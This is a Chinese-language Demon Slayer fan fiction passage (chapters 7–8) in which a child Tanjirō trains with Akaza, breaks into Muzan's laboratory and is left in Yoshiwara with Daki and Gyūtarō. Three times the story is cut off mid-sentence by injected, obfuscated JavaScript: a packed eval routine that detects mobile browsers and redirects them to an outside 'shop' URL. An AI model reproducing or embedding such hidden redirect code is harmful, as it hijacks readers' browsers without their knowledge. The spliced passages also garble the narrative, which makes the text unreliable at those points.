白雾缓缓消散,上弦之壹冷冷瞥了猗窝座一眼。对方收回手,垂眼看向连站立都显得吃力的少年,语气里听不出情绪,“还要继续吗?” 炭治郎摇摇头,之前被拳风擦过的皮肤已泛起大片红肿。 猗窝座嘴角扬起一抹嘲讽,刚想说什么,却见少年疲惫地牵起嘴角露出笑容。 “我、我赢了。” 猗窝座一怔,随着男孩的目光落向自己的小腿,那里有道很细微的难察觉到的被割开的口子。 “你……” “刚刚制造障碍时,并不是所有月刃都在,还有一个小的被我调换角度甩飞了出去,不过也需要考虑回旋的角度以及您是否会提前发现……”炭治郎轻声解释。 “那如果真的被我发现,你……”猗窝座看向男孩突然问。 “那我还会继续和您比。”炭治郎说:“我知道我很弱不是您的对手,但我不想让您看轻我……” 黑死牟走过去,宽大的手掌轻揉着男孩柔软的头顶。 男孩年龄虽小却能熟练掌握刃风并且在一定程度上迷惑敌人。 “不错。”黑死牟夸赞。 “只可惜甩飞出去的月刃力度不够,你只划开了他的衣服。”话音一转,上弦壹指出对方的不足。 男孩闻言面露疑惑,“可是,不是说碰到衣服就算我赢吗?那我为什么要真的伤到呢?” 猗窝座闻言愣愣地看着炭治郎,男孩的眼神清澈温柔,“调整的角度也就是奔着衣服去的呀。” 想到什么,炭治郎调皮地吐了下舌头,轻声言语:“本就是耍的小聪明……” 男孩的想法是要么划开衣服比试结束,要么就是“计划”失败继续比,不管是哪一种都不包含伤人的情况。 “战场上……决不能…对敌人…心慈手软。”黑死牟的话听不出情绪,浓郁的气味包围着炭治郎,男孩轻轻抱住上弦壹,“我知道的黑死牟先生。但猗窝座先生不是敌人。” 猗窝座闻言整个僵愣住,他没想到男孩会这么说,他抿了抿唇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17575958|205012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,随即一声冷嗤出口,“我把你打伤,你却说不会伤害我?” 炭治郎:“您是堂堂正正把我打倒的,与我用小聪明是不同的,如果可以,我也想从正面把你打趴下,但以我现在的实力是不可能的……” “我清楚的,小聪明在小打小闹上可以赢,但真正的实战只有实力才是王道。” 炭治郎稚嫩清秀的声音连同脸上意气风发的笑容都直直撞入上弦叁金色的瞳眸中。 “而且……我是真的不想伤害您。” 上弦叁听到炭治郎的这些话,像是颗投入死水的小石子,在他意识深处激起了一圈他自己都无法理解的涟漪。某种陌生的、温热的情绪在他胸腔里轻轻一撞,快得抓不住形状。 看着猗窝座那张呆愣的脸,炭治郎的脑海顿时浮现出梦中那本“书”里关于“猗窝座”的故事。 明明很快就可以和自己爱的人幸福一生,却因为别人的恶念,葬送了一切…… 男孩紧咬了下唇,犹豫着开口:“猗窝座先生为什么想要变强?” 猗窝座回过神,没想到男孩会突然问这个,他疑惑挑眉,“变强还需要理由?” 炭治郎顿时激动起来,“当然需要呀!” 猗窝座顿了两秒,语气如常,“我变强,是想挑战世上所有拥有强大斗气的强者们。” 这句话音落下的一刻,“书”中故事里的烟花仿佛在男孩的眼中绽开。 孤儿少年与收留他的恩人师父的女儿在那个夜晚约定好要彼此永远在一起。 他努力让自己变强能更好的守护她。 他喜欢她的笑容,雪簪花是他们的定情物。 “不对。” 炭治郎轻轻摇头,酸楚像潮水般漫上喉头,让他的声音微微发颤。 “这不是猗窝座先生想要变强的理由。” “猗窝座先生一定有着想要守护的重要的东西,才会如此强大。” 守护?上弦叁觉得嗤之以鼻,可少年眼中那片澄澈的、仿佛能映照出灵魂深处的光却让猗窝座鬼使神差地止住了嘲讽的话头。 没由来地脑中闪过某个片段,转瞬即逝,心口陡然的刺挠让猗窝座眉头微皱。 炭治郎走近对方,他伸出手,掌心处粉色的糖果映入眼帘。 “送给你呀猗窝座先生,有时太痛苦,甜食能缓解哦~” 猗窝座本想说自己并不痛苦,可手却先一步大脑将糖果解开包装塞入口中。 有些甜腻,但奇妙的心口的疼被缓解了。 黑死牟在不远处看着这一幕,六只眼睛一眨不眨地盯着炭治郎拿给猗窝座糖果的那只手。 炭治郎嘻嘻一笑,又缓缓走到黑死牟身边,整个身体半靠着上弦壹。 长舌鬼在无限城正瞥见猗窝座独自立在不远处的横梁上。他心下一动,正想凑上去卖个好,谁知一道冷冽的弯月刀光毫无征兆地斜劈而下,凛冽的刃风激得他舌根发麻,没等他尖叫出声,那刀光已如流星赶月,径直攻向猗窝座。 对方伸出手臂抵挡,眼神锐利地看向来人。 长舌鬼惊魂未定,身体仍僵在原地。就在这时,一股沉重的威压猛地自身后袭来——刹那间,他便如断线木偶般瘫倒在地。 六只眼睛漠然扫过地上那团颤抖的身影,随即毫不停留,转向不远处静立的猗窝座,一步步踏了过去。 “继续…我们…今天的…比试。” ——————— 当晚黑死牟回房时,他的木桌上,糖果摆成了个大大的笑脸,正如男孩在朝他微笑般。 黑死牟的嘴角,几不可察地向上牵动了一下。 7. 第 7 章 猗窝座与炭治郎比试的消息,很快便传到了无惨耳中。 看着眼前再次缠满绷带的少年,无惨心中涌起一股无名的烦躁与郁结。他当即将猗窝座召至面前。 上弦叁没有否认,他半跪下来准备接受责罚。 可炭治郎却不乐意了,他轻扯无惨衣角,劝慰怒火直冲的男人,“无惨先生我没事的,比试本来就会受伤,而且猗窝座先生已经很让我了,我没事哒。” 无惨看向男孩,他伸手将对方抱进怀里,手轻摸着炭治郎的头。 猗窝座能力出众,自己不会杀了他,但是惩罚对方以示警告还是可以的。 “能不能不要责怪猗窝座先生呀?”被抱着回去的炭治郎整个窝进无惨的肩头,郁闷地说。 男人脚步微顿,没什么情绪的说道:“这么在意他?” 炭治郎抬头与无惨四目相对,“可是,是我先要求跟猗窝座先生比试的……” “这样不公平。” 男人笑了声,他凑近男孩,轻声细语,“你是想让我责罚你?” 男孩点头,“是我挑起的头,我可以接受。” 无惨:“是吗……” 他将炭治郎放下,在男孩疑惑的目光中,径直离开。 男孩愣愣地站在原地,不明白无惨的意思。 在之后几天,炭治郎去找无惨时,对方要么不在,要么就把自己锁在实验室里。 再又一次敲门没有回应时,男孩失落地离开了,走时还一步三回头。 无惨先生这么忙的吗…… 鼻尖轻动,他闻到了生气的味道,正来自那间实验室。 平时无惨从实验室里出来每每都会带上味道,只是这几天生气貌似浓郁了些? “无惨先生一定是遇到什么难题了……好想帮上忙啊。”炭治郎垂下眼眸,轻声叹了口气,“可我现在什么都不懂,还这么弱……” 犹豫片刻,觉得自己还是不要去打扰对方吧。 离开前,炭治郎又朝实验室的方向望了一眼,默默压下心底翻涌的失落。他悄悄握紧拳头,在心底立志,一定要变强! ——————— 因着炭治郎的干涉,无惨并没有责罚猗窝座。 但也没再派任务,上弦叁也因此闲了下来。 炭治郎喜欢找猗窝座“比试”。不过是用其他的方式。 “嘿嘿,我又赢啦!”白子落下,胜负已定。 猗窝座一只手撑着下颚,无聊地把黑子扔过去。 “黑死牟先生,我又赢啦!”炭治郎开心地跑到黑死牟面前蹦跳着,眼神亮晶晶地看着他,“多亏先生教我,我感觉棋艺又进步啦!老师最厉害!” 宽厚的手轻抚上男孩的头,黑死牟六只眼睛里盛满男孩温暖的笑容。 “嗯……不错。” 猗窝座见到眼前这堪称“父慈子孝”的一幕,不由得发出一声冷嗤。被上弦壹瞪了眼后,他才懒洋洋地起身,转身准备离开。 “猗窝座先生我赢了,按照约定你要教我武术的。”见人要走,炭治郎赶忙跑过去拦住对方。 男孩撅起嘴,“身为正鬼君子,不能说话不算数。” 猗窝座:“……” 秉持着“说话算数”,猗窝座硬生生顶着上弦壹投射过来的压力,教导炭治郎一些基础,并告诉他怎样训练可以提高机能。 不过在真正看到男孩训练时,猗窝座惊奇的发现他的腕力很大,腿脚挥出时也十分有力,确实是个练武术的苗子。于是也开始认真教导。 从那天之后,炭治郎每天除了要跟着黑死牟学习剑术,也要进行猗窝座的训练。 但苦了鸣女和炭治郎相处的时间再度减小。 很多时候,她都想直接把这俩货传送走。 —————— 再用手劈开十几块木头时,炭治没由来地举起一块最厚重的往头上一撞,木块瞬间碎裂,而男孩的头安然无恙。 “哇哦!”炭治郎仿佛打开了新世界。 猗窝座就这样看着男孩不停用木板撞着头,尽管男孩头如铁硬,但这么折腾也不由地淤青浮现,皮肤破损,鲜血流出。 猗窝座的身体先一步大脑猛地拉住男孩的胳膊,“你做什么?”可等真的握上时,他才猛然发现,这是一只短小稚嫩孩童的手。 他第一次真正意识到炭治郎是六岁的人类幼崽。 而他所制定的训练,成年人都会濒临崩溃,何况一个孩子。 训练是残酷的,一直以来猗窝座都信奉力量至上,可这时他脑中却突兀地想—— 这貌似不适合孩子。 “怎么啦,猗窝座先生?”炭治郎歪着头疑惑地问道。 “别练了。”猗窝座松开手。“回去吧。” “为什么?我、我还能继续的,猗窝座先生!”男孩赶忙追上去握住猗窝座的手。 冰冷的手上漫上温度,猗窝座身形微颤,他赶忙甩开对方,却因为力度过大,男孩竟直接被甩飞出去! 猗窝座僵愣住,看着男孩摔落在地,心口猛然刺挠了一瞬,他快速走到男孩身边,手伸在半空,第一次感觉到有些手足无措。 “你……” 男孩抬起那张满是鲜血却笑嘻嘻的脸庞,看着他的眼神清澈见底,“猗窝座先生我可以继续哒,我想像您一样厉害。” “为什么?”猗窝座终于忍不住,他猛地掐着男孩的下巴,怒吼出声,“为什么不逃?我这样对你,你该逃的!” 炭治郎的脸被捏得变形,声音却清晰带着疑惑,“为什么要逃?” “我知道的……这些训练会让我受伤,但也会让我变强。我很感谢猗窝座先生,也很喜欢您。” “在上弦叁怔愣着松开手时,男孩轻轻挪动伸手抱住对方,我不会逃的。”他轻声说。 两个身影紧紧相拥,有什么在悄无声息的改变。 之后猗窝座继续教导炭治郎,只是这次他会不经意地调整训练角度,让男孩尽量避开受伤。他依旧不说话,但抱臂旁观的姿态里,少了几分漠然,多了些专注。 每当男孩高质量完成训练后,就会笑嘻嘻蹦跳着跑向猗窝座,在他周围转悠着说着没完没了的话语。 上弦叁这时就会用手轻抵在他的额头上,说着“吵死了”但从未真的把男孩推开。 炭治郎喜欢在猗窝座身后搞“偷袭”,每次上弦叁坐在那里发呆时,炭治郎就会蹑手蹑脚在身后慢慢靠近,随即给对方一个大大的拥抱。 “哈哈,又没发现我呀,猗窝座先生~” 猗窝座“嗤”了声,“真烦。” 但炭治郎没注意,背对他的猗窝座说这话时,嘴角却是带笑的。 不同于以往讽刺的冷笑,那是连他自己都不曾察觉的发自内心堪称温柔的笑容。 “呦~我还是第一次看到猗窝座阁下露出这样的笑容呢~看来小炭治郎真是有趣的小孩。”童磨走到两人面前,他朝着炭治郎俏皮地眨了下眼。 男孩看着那双七彩琉璃的眼眸,刚想说什么,却见拳风骤起,刚刚还散漫的身影顷刻间便飞了出去,甚至直冲出一条长长的气云。 男孩看着这一幕僵愣住,猗窝座却摸着小孩的脑袋,冷硬的声音稍稍放软,“离这家伙远点,他很危险。” 炭治郎还想问什么,这时童磨又回来了,他听到了猗窝座的话,露出委屈的表情,“呐~怎么可以这样呢?你们和小大人都这么亲近,却不让我与他亲近,好自私哦,猗窝座阁下~” 上弦叁筋脉暴起,冰冷的眼神瞪向上弦贰。 “滚!” 炭治郎拉着猗窝座的手,“猗窝座先生,童磨先生,你们不要吵架呀。” “哎呀,炭治郎真好~不像猗窝座阁下那么凶~”童磨伸出手,“要来抱抱嘛~” 炭治郎正犹豫时,一双手率先一步将男孩抱起。 “嘛~猗窝座阁下怎么可以这样呢。”上弦贰像个小孩一样撒泼打滚。 猗窝座第一次抱小孩,身体有些僵硬,但还不忘嘲讽地看眼童磨。 炭治郎的小手摸向上弦叁的头,“猗窝座先生不要担心。”说着环住对方的脖子,整个头窝进脖子里来回蹭。 猗窝座的身体放松下来,他轻拍着炭治郎的背,将人紧紧箍在怀里。 “我也要抱,真是的~炭治郎和大家关系这么好,可惜人类寿命有限,要是炭治郎以后不在了,那可怎么办呢~”童磨看向男孩,两腿交叠着坐在地上,状似苦恼地说道。 第一次谈论到人类寿命的问题,男孩有些怔愣。 鬼会活很久,可人类受生命论的限制,注定会有一天归为尘土。 幼小的男孩接触到敏感的生死话题,但奇异的,炭治郎心里很平静。 “小炭治郎会害怕吗?死亡这东西”童磨托着腮,声音甜腻得像融化的枫糖,眼神却空洞得如同冰封的湖面。他问得随意,仿佛在谈论天气。 “他不会死。”猗窝座冷笑着率先回答。 “啊呀~对呢!”童磨用金色铁扇轻轻敲了下自己的额角,动作轻盈,眸中的笑意却未达眼底,“差点忘了呢……炭治郎君可以选择变成鬼呀。这样一来,就永远告别死亡了,也能一直、一直陪着无惨大人了呢。” 他边说边缓缓起身,童磨脸上的笑容不变,声音却放得又轻又缓,仿佛毒蛇吐信: “那么,炭治郎君……你想变鬼吗?” 炭治郎一时间无法回答这个问题——他想变成鬼吗? 男孩当然希望可以一直陪着无惨先生和大家,但…… 他喜欢做人类,若是成为鬼,他还是他吗? 猗窝座把炭治郎放下,他看到炭治郎犹豫的神色,上弦叁蹲下身直视炭治郎。 “你会变成鬼的吧?” “我……”男孩低垂着眼,双手紧张地绞在一起。 猗窝座的手抚上炭治郎的脑袋,“我能感受到炭治郎想要变强的执着,只有成为鬼,超越生死的界限,才能达到强者会有境界。” 炭治郎轻声低问:“猗窝座先生觉得人类是弱者?” 猗窝座:“当然,人类最长不过八十年,太短了。炭治郎你比同龄年段甚至稍微年长的人类的天赋更高,假以时日,你会成为一名强者,但生命论是对强者的最大阻碍。” 炭治郎呆愣地看着猗窝座的眼睛,那双金色的瞳眸里,正清晰地映出他自己的影子。那目光仿佛一道漩涡,将他往深处拽去,拖向未知的地域。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17575959|205012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 成为鬼吧,和我们一起步入更高的境界…… 这声音蛊惑着他,炭治郎意识摇摆不定中下意识要点头,但一道声音却将他重新拉回边界。 ‘不可以变成鬼,不能伤害人类!’ 什么?为什么会伤害人类? 炭治郎回神,对那声音有些莫名。他摇了摇头,“我、我还没想好。时间不早了,我要去找无惨先生了。猗窝座先生、童磨先生,再见。”说着炭治郎朝他们挥挥手,在上弦叁想拉住人说什么时,径直跑开了。 “哎呀呀~吓跑了这是?”想到什么,童磨笑出声,他轻舔齿尖,漂亮的七彩瞳眸仍旧枯朽空洞。 “看小炭治郎这个样子应该不知道变成鬼的食物是人类吧?” 猗窝座猛地瞪向他,“你什么意思?” “仅仅只说变成鬼就吓成这样,那要是知道这个的话~” 话音未落,童磨的头颅又一次高高飞起,滚落在地。 猗窝座的手指死死扣进上弦贰的脖子,指节因用力筋脉暴起,眼中翻腾着某种近乎实质的怒意。 与猗窝座在战场上的杀意不同,那是一种更深、更刺骨的憎恶——像要将面前这副总在笑的皮囊,连同那些轻佻的话语一同捏碎。 “你敢多嘴一句试试。” “嘛嘛,你这是在害怕吗?猗窝座阁下。”童磨的头迅速长出,他的脸上依旧带着轻挑的笑容,“怕他恐惧你?” 猗窝座手指整个陷进肉里,他的脚下血鬼术领域展开,童磨瞥了眼,脸上露出害怕的表情,“哎呀猗窝座阁下这是要动真格了吗?好吓人~”但从双眼睛里可看不出一点恐惧。 “找死!”正当血鬼术朝着童磨的面门就要砸下,威压猛地袭来,两位上弦顿时僵在原地。 “做…什么。”黑死牟走过来眼神冷沉地看着他们。 “哎呀黑死牟大人来啦~没事哦猗窝座阁下只是同我玩闹呢。”童磨俏皮地眨了下眼。 黑死牟转向猗窝座,“松手……过了。” 猗窝座冷哼一声,猛地将对方甩开,期间还不忘甩了甩手,满脸嫌恶。 黑死牟走近童磨,六只眼睛居高临下地看着他。 “不该说的……别说。” ————————— 另一边,炭治郎去找无惨时,又一次被那扇紧闭的门挡在外面。 他已经半个月没有见到无惨先生了。 抬起手,炭治郎轻轻敲了敲门——没有回应。 “无惨先生。”他低声唤道,门扉依旧沉默地闭锁着。 而实验室里,无惨将手中的试剂狠狠掷在地上。 又失败了! 他紧咬着牙,血红的眼眸中杀意翻涌。那是一种源于绝望的暴怒,如同实质般在空气中灼烧。无穷无尽的烦躁几乎要将他吞噬,每一次失败都在将他推向失控的边缘。 他也无法理解,明明曾经也失败过无数次,可从未像今天这般,不,他将近半个月都是这个状态,是自从—— “无惨先生。” 他听到门外男孩的呼喊。 这时候来做什么?无惨冷笑,不是很喜欢那些家伙吗,整整半个月的时间,来时敲两下门就走,他到底知不知道到底谁才是他最亲近的存在! 无惨无视了这个声音,他重新投入实验中,只是怎么都无法集中注意。 炭治郎在门外没听到回应,他担忧地看着被关紧的实验门。 他好想无惨先生。 这时男孩鼻尖微动,他僵愣住。 悲伤气味整个将炭治郎包围,那是从未有过的浓郁。 仿若要将炭治郎的心给淹没。 男孩难受地捂住胸口,他已经顾不上会不会打扰到对方,猛烈地敲起房门。 “无惨先生……无惨先生!” 声音愈发洪亮带着隐隐的哭意。 没有像往常一样敲两下离开,无惨这才将目光转向门处,他听到对方一声比一声高的呼唤,门也被敲得来回震动。 无惨依旧没有动作,但眼睛的瞳孔却在这时皱缩了一瞬。 见门内始终没有动静,炭治郎急得在门外来回踱步,忍不住用力拍打起实验室的门。 为什么没有回应,无惨先生出什么事了? 着急忙慌之下也顾不上其他,炭治郎想要强行破门,但他周围什么趁手的工具都没有。 他焦急懊恼地拍了拍自己的额头,就在这时,指尖触到那块额角凹凸不平的疤痕。炭治郎眼睛突然一亮。 “对了!” 他后退几步,深深吸气,然后——猛地冲向木门! 门内,当拍门声停止时,无惨发出一声极轻的冷笑。果然……还是走了。这样也好,终于清净—— 思绪未落。 “轰——!!” 伴随着木料炸裂的巨响,整扇门从中间爆开! 飞溅的木屑中,无惨惊愕地转头,看见红发男孩正从破开的门洞里冲进来。炭治郎的额头上还沾着木屑,那块鲜明的疤痕愈发醒目,他气喘吁吁却目光坚定: “无惨先生!” 门板碎片在他身后纷纷落下,走廊的灯光从他闯开的缺口涌入,照亮了实验室里飞舞的尘埃。 8. 第 8 章 无惨站在原地,猩红的眼瞳在尘埃与光影中微微收缩。 他看着那个撞破门冲进来的男孩,额上还沾着木屑,碎发被汗黏在颊边,呼吸急促,可那双眼睛却亮得惊人,直直地、毫无阴霾地望着自己。 实验室里弥漫着试剂破碎后刺鼻的气味,地上是狼藉的玻璃碎片,还有那些……无数次失败的痕迹。这本该是个彻底封闭、不容窥探的领域。 而此刻,门碎了,光闯了进来,连带着这个少年莽撞的体温和呼吸。 无惨的指尖无意识地抽动了一下。某种难以名状的情绪——并非全然是愤怒,更像是坚冰被猝不及防凿开一道裂隙时,涌上的那丝冰凉的错愕,与一丝更深处、连他自己都未曾察觉的松动。 “……谁允许你,”他的声音低沉,在寂静中格外清晰,“用头撞门的?” 炭治郎没有回答,他几步冲上前,在满地的狼藉中,张开双臂猛地抱住了无惨。 他的动作带着不顾一切的劲头,肩膀微微发颤。 “我以为你出事了……”他把脸埋在无惨腿部,声音闷闷的,带着尚未平息的喘息和后怕,“门一直不开……我怎么叫你都不应……” 那个拥抱很用力,几乎莽撞,却又透着一种全然的、灼热的担忧。 无惨的手僵在半空,指尖微微蜷缩。 他清晰地感受到,少年紧贴着他的身躯在微微发颤,而那温热的、湿润的触感,正透过衣料,一点一点渗到他的皮肤上,泛起灼热的刺感。 他的几处心脏像是被什么无形的东西攥紧。某种沉寂许久的东西,毫无征兆地叩响了。 无惨蹲下身,炭治郎顺势抬起那张哭花的脸,鬼王的手轻柔地抚上稚嫩的脸颊。 “别哭。”他擦掉炭治郎的泪水,看着头发上缠着的碎屑,眼神里的光软了下来。 “疼吗?怎么用头撞,小心长成半条狗那样的大包。” 炭治郎摇头,他见过上弦肆,一想到那个像是要顶破天的大包,炭治郎哭得更凶了。 虽然不疼,但他可不想变成那样QAQ 见男孩眼眶湿乎乎的又开始落泪,无惨无奈地叹口气,他拿出手帕轻轻擦拭,语气哄慰,“开玩笑的,不要哭。” “以后不许再用头撞。” 炭治郎点头,他伸出手,眼睛圆溜溜地盯着鬼王,“要抱~” 无惨笑了声,将炭治郎轻轻提抱起来。 两人走出实验室,炭治郎在他肩头闷闷出声:“你之后还要继续呆在实验室吗?” 无惨:“不了。” “这半个月每次来敲门,您都不理我。” 无惨挑眉,“那怎么今天就突然撞门了?” “我闻到了,好浓郁的伤心的味道,敲门又不回应,我怕您出事……” 无惨的手轻拍着他的头,细声呢喃,“我以为炭治郎没那么在乎我……” 闻言的男孩立马抬起头,他看着他,眼睛如火,声音清亮,“怎么会,无惨先生是我最最最重要的家人!” 无惨轻轻叹了口气,声音低了几分:“只是最近,看你常和黑死牟他们在一起,我以为……” 炭治郎怔了两秒,随即醍醐灌顶般,猛地明白过来——无惨先生是觉得被自己冷落了。 原来是这样! 男孩眼睛一下子亮起来,像是解开了谜题般,心里又软又烫。“无惨先生,”他凑近了些,声音清亮,“我明天不训练了。我们出去走走吧?就我们两个。” 无惨垂眸看着他,少年眼中的笑意纯粹而温暖,仿佛能驱散所有阴霾。那光芒悄然映进他深红的眼底,连他自己也未察觉,唇角已跟着扬起一丝极淡的弧度。 “好。” ———————— 等了许久都未等到炭治郎的猗窝座终于忍不住去了黑死牟的训练地。 结果到那里时,只有黑死牟在那里练习刀法,哪里还有男孩的身影。 猗窝座:“炭治郎呢?” 黑死牟收刀入鞘,声音冷淡,“和大人…出去了。” 猗窝座顿时紧皱眉,黑死牟六只眼睛瞥向上弦叁,“童磨…没跟你说?” 猗窝座一听到这名字顿时筋脉暴起,尖锐的齿尖互抵,“跟他有什么关系?” 黑死牟:“炭治郎跟我说…今天不训练时…童磨在一旁…他跟炭治郎说…他会告知你。” 猗窝座:“…………” “所以…他没有告知到?” “…………” 该死的恶心东西!! ———————— 东京吉原花街的夜晚,万千提灯次第点亮,汇成一条灼灼流淌的光河。将街道映照得如同白昼的倒影。 空气中浮动着脂粉、发油与昂贵线香的甜腻香气,与酒肴的热气混杂在一起,织成一张看不见的、令人微醺的网。 无惨身着一身考究的暗纹西服,像一位对一切都兴致缺缺的贵族,穿行于涌动的人潮,他的眼神始终紧跟着身侧的男孩。 炭治郎那双清澈的红眸里映满了流光溢彩的灯笼与游女华服上闪烁的金线,这过分绚烂的繁华扑面而来,让他不由得微微屏息,眼中闪烁着一种未经世事的、纯粹的好奇。 无惨牵起对方的手,将人紧拉在身侧,“炭治郎要跟紧哦,这里人很多。” 炭治郎点头。 一人一鬼的身影穿梭于吉原不息的灯河与人潮之间,被四周的欢歌笑语所包裹,直至灯火渐阑仍觉意兴未尽。 “这里真的好美啊。”炭治郎停下脚步,望着廊下流转的光影,由衷地轻声感叹。 无惨侧目看着他被灯火映亮的侧脸,唇角微扬,似乎想说些什么。恰在此时,有鬼传递来重要信息,刹那间,无惨眼中仅存的那点温和光彩如烛火熄灭般褪去,转而覆上一层冰冷的寒霜,眉头亦随之微蹙。 “无惨先生,怎么了?”炭治郎敏锐地察觉到他气息的变化,担忧地望向他。 “抱歉,炭治郎。”无惨的声音透着些许苦恼,“恐怕要提前结束今晚的游赏了。有些要事,需即刻处理。” 炭治郎闻言一怔,明亮的眼眸黯淡了一瞬,却很快抬起头,用力摇了摇头:“没关系的,无惨先生,请以正事为重;我没关系的。” “真的没关系么?”无惨的目光似乎能看穿那层强撑的平静。 炭治郎将心底涌起的失落小心藏好,绽开一个毫无阴霾的笑容,肯定地望向他:“嗯,真的没关系。” 无惨轻柔着炭治郎的脑袋,“炭治郎喜欢这里吗?” 炭治郎不明白无惨为什么突然问这个,怔了两秒随即点头,“喜欢。” “那不如,”无惨收回手,语气听来随意,目光却落在他脸上,“多留几日?” 炭治郎呆呆地发出迷茫的音字:“欸?” 堕姬接收到无惨大人的命令,要照顾一个人类小孩。 她倚在廊柱边,指尖漫不经心地绕着一缕发丝,挑剔的目光像审视一件廉价货物般扫过眼前的男孩。毫不掩饰的不屑与厌恶几乎要化作实质从她那双美丽的绿色眼眸中流淌出来。 “炭治郎?真难听的名字。”她红唇微启,吐出的字句裹着冰碴,“也不知道无惨大人喜欢你什么……” 炭治郎仰着脸,表情有些茫然,但那双清澈的红色眼睛却一眨不眨地、专注地望着她。 “看什么?”堕姬不耐地蹙起精心描画的眉。 “你好好看。”炭治郎直白地说。 这出乎意料的回答让堕姬顿了一瞬。随即,她冷哼一声,下巴微扬,仿佛这句话只是印证了众所周知的事。 “算你识相。”她转身,华美的衣摆划出一道弧线,语气里是与生俱来的傲慢,“我的美貌,本就无谁能及。” 炭治郎鞠躬,“麻烦姐姐的照顾了。” 堕姬斜睨了他一眼,倒也没在说什么,她整理了一下妆容,今天还要接待“客人”。临走前,她出声警告,“老实在这里呆着,别给我惹麻烦!” 炭治郎点头,面带微笑,“好的。” 这温柔的语气让堕姬有些不适应。 顿了片刻,他的影子在灯火倒映下陡然变大,渐渐的一个高大的身影从里面冒出。 “哥哥,你照顾他吧。”说完,堕姬就直接离开了。 而出来的妓夫太郎盯着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17575960|205012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼前的小孩,一时间谁也没说话,他们大眼瞪小眼气氛有些尴尬。 炭治郎:“您好。” 妓夫太郎:“……” 打量着眼前白净清秀的男孩,妓夫太郎从喉咙里挤出一声轻嗤,这样干净的面容,清澈的眼神,一看就是在幸福里长大的孩子啊…… 真叫人讨厌。 炭治郎鼻尖微动,敏锐地捕捉到对方身上散发出的、混合着厌恶与烦躁的气息。他眨了眨眼,脸上浮现出些许困惑,自己似乎被讨厌了? 说是照顾,其实妓夫太郎根本没打算管这孩子。饥饿感正灼烧着他的胃,堕姬那边也忙着“应酬”没空进食。他舔了舔干裂的嘴唇,金色的瞳孔微微收缩——是时候去“觅食”了。 就在这时,衣角传来轻微的拉扯感。 妓夫太郎动作一顿,低头看去。 男孩不知何时凑到了他身边,正仰着脸望向他。那双赤红的眼眸里没有丝毫惧意,反而盛满了纯粹的担忧,像两簇温暖的火苗。 “你饿了吗?”炭治郎的声音软糯却认真,他踮起脚,将用油纸仔细包裹的东西高高举起,“这个给你吃。” 甜腻的香气从纸包缝隙里飘散出来,钻进鼻腔。妓夫太郎垂下视线,看见油纸里躺着几块色泽诱人的萩饼,糯米泛着温润的光,红豆馅儿隐约可见。男孩的小手托着纸包,指尖因为用力而微微发白。 一阵短暂的沉默在屋内摇曳的火光中弥漫开来。 “你……”妓夫太郎金色的瞳孔微微放大,难以置信地看向这个一脸真挚的男孩。 他不知道吗?不知道他们主要的“食物”是什么吗? 是啊,妓夫太郎讽刺的想,男孩是人类,若是知道,又怎么可能会这么心平气和的还关心自己饿不饿。 干裂的嘴唇翕动着,他想说出口,想把真说出口,想看到男孩恐惧绝望的眼神。 只是…… 妓夫太郎看到男孩举着油纸包的手臂已经开始微微颤抖,却丝毫没有放下的意思。 男鬼沉默地接过那份温热的纸包。指尖触碰到男孩柔软的手心时,竟感到一丝灼烫。 在男孩亮晶晶的期盼目光中,他鬼使神差地拿起一块萩饼,送到嘴边。 甜腻的豆沙瞬间充斥口腔。 太甜了,甜得发齁;糯米黏腻的口感令人窒息。 他强忍着作呕的冲动,喉结滚动,硬生生将那口软烂的甜食咽了下去。胃部传来一阵陌生的痉挛。 他像是突然如梦初醒,在心中质问自己,到底为什么要吃这种东西! 一股无名的烦躁猛地窜上心头。 这种天真到令人作呕的善意,妓夫太郎几乎要脱口而出尖锐的讽刺;可当他抬起头,准备将毒液般的言语泼洒出去时,却猝不及防地看到那抹毫不设防的笑容;以及那像是落满了阳光的海面,清澈见底的眼眸。 此时它正倒影着自己丑陋扭曲的样貌。 所有恶毒的话语瞬间卡在了喉咙里,被舌头碾得粉碎。 “老、老实在这里待着,别乱跑!”妓夫太郎猛地别开脸,声音又急又凶,像是要掩盖某种仓皇。 他甚至没敢再看男孩一眼,几乎是狼狈地转身,逃也似的没入屋外的黑暗。 他要找个人洗洗自己的嘴! ————— 炭治郎坐在屋子里百无聊赖,摇晃着脑袋。 想到什么,男孩的神情突然低落下来。 关于堕姬和妓夫太郎,他也有在梦里那本“书”看到过他们。 虽然炭治郎依旧没有什么可以证明那个梦的真实,或者他就是一个梦,与现实又能有什么关系? 可…… 脑海中挥之不去的冬夜,干瘦的男人抱着一具被烧焦的早已看不清面容的女孩,在声嘶力竭地祈求着。 祈求着能救救自己的妹妹。 于是他们遇见了。 